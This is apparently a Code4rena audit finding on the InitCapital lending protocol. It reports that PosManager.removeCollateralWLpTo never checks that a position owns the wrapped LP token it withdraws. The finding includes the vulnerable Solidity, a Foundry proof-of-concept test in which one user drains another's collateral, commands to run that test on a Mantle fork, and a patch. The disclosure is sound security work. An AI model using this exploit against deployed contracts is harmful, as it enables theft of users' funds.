Lines of code
<https://github.com/code-423n4/2023-12-initcapital/blob/main/contracts/core/PosManager.sol#L249-L268>
Position’s owner can steal other users Wlp collateral, as long as it doesn’t completely withdraw all the balance of tokenId LP.
When users call decollateralizeWLp function from InitCore, as long as Wlp is whitelisted and the mode’s decollateralize is not paused, it will trigger POS_MANAGERS.removeCollateralWLpTo, providing all the information provided by users.
<https://github.com/code-423n4/2023-12-initcapital/blob/main/contracts/core/InitCore.sol#L264-L279>
function decollateralizeWLp(uint _posId, address _wLp, uint _tokenId, uint _amt, address _to)
public
virtual
onlyAuthorized(_posId)
ensurePositionHealth(_posId)
nonReentrant
{
IConfig _config = IConfig(config);
// check mode status
_require(_config.getModeStatus(_getPosMode(_posId)).canDecollateralize, Errors.DECOLLATERALIZE_PAUSED);
// check wLp is whitelisted
_require(_config.whitelistedWLps(_wLp), Errors.TOKEN_NOT_WHITELISTED);
// update and take _wLp from position to _to
>>> uint amtDecoll = IPosManager(POS_MANAGER).removeCollateralWLpTo(_posId, _wLp, _tokenId, _amt, _to);
emit Decollateralize(_wLp, _posId, _to, amtDecoll);
}
Inside POS_MANAGER.removeCollateralWLpTo, it will trigger _harvest to claim the reward for the posId and unwrap the token from the _wLp contract, sending it to the provided receiver address. However, this function doesn’t check if this _posId is the provider of this collateral. As long as it doesn’t completely drain the balance of LP, arbitrary posId owners can steal other users’ wlp’s tokenId balance and rewards provided to the POS_MANAGER.
function removeCollateralWLpTo(uint _posId, address _wLp, uint _tokenId, uint _amt, address _receiver)
external
onlyCore
returns (uint)
{
PosCollInfo storage posCollInfo = __posCollInfos[_posId];
// NOTE: balanceOfLp should be 1:1 with amt
uint newWLpAmt = IBaseWrapLp(_wLp).balanceOfLp(_tokenId) - _amt;
>>> if (newWLpAmt == 0) {
_require(posCollInfo.ids[_wLp].remove(_tokenId), Errors.NOT_CONTAIN);
posCollInfo.collCount -= 1;
if (posCollInfo.ids[_wLp].length() == 0) {
posCollInfo.wLps.remove(_wLp);
}
isCollateralized[_wLp][_tokenId] = false;
}
_harvest(_posId, _wLp, _tokenId);
IBaseWrapLp(_wLp).unwrap(_tokenId, _amt, _receiver);
return _amt;
}
Coded PoC :
Add the following test to /2023-12-initcapital/tests/wrapper/TestWLp.sol :
function testStealWlpOther() public {
uint amt = 100000000;
uint withdrawAmt = amt - 1;
uint alicePosId = _openPositionWithLp(ALICE, amt);
uint bobPosId = _openPositionWithLp(BOB, 1);
vm.startPrank(BOB, BOB);
initCore.decollateralizeWLp(bobPosId, address(mockWLpUniV2), 1, withdrawAmt, BOB);
vm.stopPrank();
assertEq(positionManager.getCollWLpAmt(alicePosId, address(mockWLpUniV2), 1), amt - withdrawAmt);
assertEq(IERC20(lp).balanceOf(BOB), withdrawAmt);
}
Run the test :
anvil -f https://rpc.mantle.xyz --chain-id 5000
forge test --match-contract TestWLp --match-test testStealWlpOther -vvv
It can be observed that as long as bob own posId, it can steal alice wlp collateral.
Manual review
Add check inside removeCollateralWLpTo to make sure the posId is the holder of wlps’s tokenId.
function removeCollateralWLpTo(uint _posId, address _wLp, uint _tokenId, uint _amt, address _receiver)
external
onlyCore
returns (uint)
{
PosCollInfo storage posCollInfo = __posCollInfos[_posId];
+ _require(posCollInfo.ids[_wlp].contains(_tokenId), Errors.NOT_CONTAIN);
// NOTE: balanceOfLp should be 1:1 with amt
uint newWLpAmt = IBaseWrapLp(_wLp).balanceOfLp(_tokenId) - _amt;
if (newWLpAmt == 0) {
_require(posCollInfo.ids[_wLp].remove(_tokenId), Errors.NOT_CONTAIN);
posCollInfo.collCount -= 1;
if (posCollInfo.ids[_wLp].length() == 0) {
posCollInfo.wLps.remove(_wLp);
}
isCollateralized[_wLp][_tokenId] = false;
}
_harvest(_posId, _wLp, _tokenId);
IBaseWrapLp(_wLp).unwrap(_tokenId, _amt, _receiver);
return _amt;
}
Access Control
The text was updated successfully, but these errors were encountered:
All reactions